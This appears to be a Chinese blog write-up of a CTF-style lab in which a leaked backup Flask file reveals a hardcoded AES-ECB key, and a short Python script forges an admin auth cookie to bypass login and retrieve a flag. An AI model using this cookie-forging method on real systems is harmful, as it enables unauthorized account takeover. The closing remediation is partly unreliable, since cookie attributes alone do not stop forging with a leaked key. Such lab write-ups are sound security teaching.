利用cookie安全漏洞绕过登录验证
本文最后更新于 108 天前,其中的信息可能已经有所发展或是发生改变。

一、概述

目标网站:10.10.1.182:8081

测试目标:绕过登录,直接用cookie获取flag

测试时间:2025/12/18

测试人员:MarsRain

二、信息收集

进入网站后发现登录界面已经有提示账号密码均为guest,登录进去尝试

没有任何可以交互的地方

尝试在URL处输入/robots.txt

为什么要在URL处输入robots.txtrobots.txt 是一个位于网站根目录的文本文件,用于告诉搜索引擎爬虫(robots、spiders)哪些页面或目录可以被抓取,哪些不可以。它通过制定抓取规则,帮助网站管理员控制搜索引擎对网站内容的访问。

其作用就是

  • 告诉搜索引擎哪些页面可以抓取,哪些页面不可以抓取
  • 减少服务器负担,避免爬虫访问不必要的资源
  • 保护隐私或敏感内容,不被公开索引

一个robot.txt的示例:

# 适用于所有爬虫
User-agent: *

# 不允许访问网站后台管理目录
Disallow: /admin/

# 不允许访问临时文件夹
Disallow: /tmp/

# 不允许访问包含用户隐私数据的目录
Disallow: /private/

# 允许访问网站根目录和公开内容
Allow: /

# 指定网站地图位置(方便爬虫更好索引)
Sitemap: https://www.example.com/sitemap.xml

发现一份py文件——app.py.bak,下载下来后发现是用来生成cookie代码,存在加密缺陷

from flask import Flask, render_template, request, redirect, url_for, make_response
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import json
import os
import datetime

app = Flask(__name__)

# ---------------------------------------------------
# CRYPTO CONFIGURATION (VULNERABLE)
# ---------------------------------------------------
# HARDCODED KEY! This is the primary vulnerability.
# AES-ECB is also used, which is weak, but the key leak is the fatal flaw.
SECRET_KEY = b'SafeBox_Secret_K' # 16 bytes
BLOCK_SIZE = 16

def encrypt_data(data):
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
    return base64.b64encode(ct_bytes).decode('utf-8')

def decrypt_data(b64_data):
    try:
        ct = base64.b64decode(b64_data)
        cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
        pt = unpad(cipher.decrypt(ct), BLOCK_SIZE)
        return pt.decode('utf-8')
    except (ValueError, KeyError):
        return None
...................................................................
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        
        # Simple Login Logic (No database for simplicity in this specific lab, focused on Crypto)
        if username == 'guest' and password == 'guest':
            user_data = json.dumps({'username': 'guest', 'role': 'user', 'exp': str(datetime.datetime.now())})
            token = encrypt_data(user_data)
            
            resp = make_response(redirect(url_for('dashboard')))
            resp.set_cookie('auth_token', token)
            return resp
        else:
            return render_template('login.html', error="Invalid credentials. Try guest/guest")
            
    return render_template('login.html')
...............................................

三、漏洞利用和分析

加密方式和密钥管理问题看到代码中使用了自定义的 encrypt_data 和 decrypt_data 函数,如果密钥泄露,攻击者可以自己生成任意加密 token
Token 不包含有效期校验用户数据中 exp 字段是过期时间,但代码里没有对过期时间进行任何验证
Cookie 安全属性缺失只是对登录的用户令牌进行了加密,直接利用脚本修改其中guest,直接改成admin后生成新的cookie
脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
import datetime

SECRET_KEY = b'SafeBox_Secret_K'
BLOCK_SIZE = 16

def encrypt_data(data):
    cipher = AES.new(SECRET_KEY, AES.MODE_ECB)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), BLOCK_SIZE))
    return base64.b64encode(ct_bytes).decode('utf-8')

# 构造 Payload
admin_payload = json.dumps({
    'username': 'admin',
    'role': 'admin',
    'exp': str(datetime.datetime.now())
})

print(f"Admin Token: {encrypt_data(admin_payload)}")

输出结果:
Admin Token: lWfFm0XN7GE3GaHQb+neJDfwA2wfT5ZMFo12i+o00BKMCEQAMdrdxwMnxiaPvg9MBSXnOMvKNGbtPN3lmjaCyvn3EL6ZYEwd5Op6AGtnt1c=

将生成的新cookie放进burpsuite当中的inspector

修改inspector中的value后apply changes

放行查看结果flag{dont_hardcode_keys_and_dont_roll_your_own_crypto}

四、整改建议

从这次最明显的利用cookie进行攻击就能明显得出前端未设置相关的cookie安全属性,如:

  • HttpOnly;
  • Secure;
  • SameSite=Strict

直接在生成cookie代码中间插入生成安全属性即可

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        username = form.username.data
        password = form.password.data

        if verify_password(username, password):
            exp = (datetime.datetime.utcnow() + datetime.timedelta(minutes=TOKEN_EXPIRY_MINUTES)).isoformat()
            user_data = json.dumps({'username': username, 'role': 'user', 'exp': exp})
            token = encrypt_data(user_data)

            resp = make_response(redirect(url_for('dashboard')))
            # 设置安全属性
            resp.set_cookie('auth_token', token,
                            httponly=True,
                            secure=True,  # 生产环境必须 HTTPS
                            samesite='Strict',
                            max_age=TOKEN_EXPIRY_MINUTES*60)
            return resp
        else:
            return render_template('login.html', form=form, error="Invalid credentials")
    return render_template('login.html', form=form)

文末附加内容

评论

  1. 巴特莫斯
    Windows Edge
    4 月前
    2025-12-18 16:59:16

    大佬

    • 博主
      巴特莫斯
      Windows Chrome
      3 月前
      2025-12-23 11:11:07

      佬不了一点

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇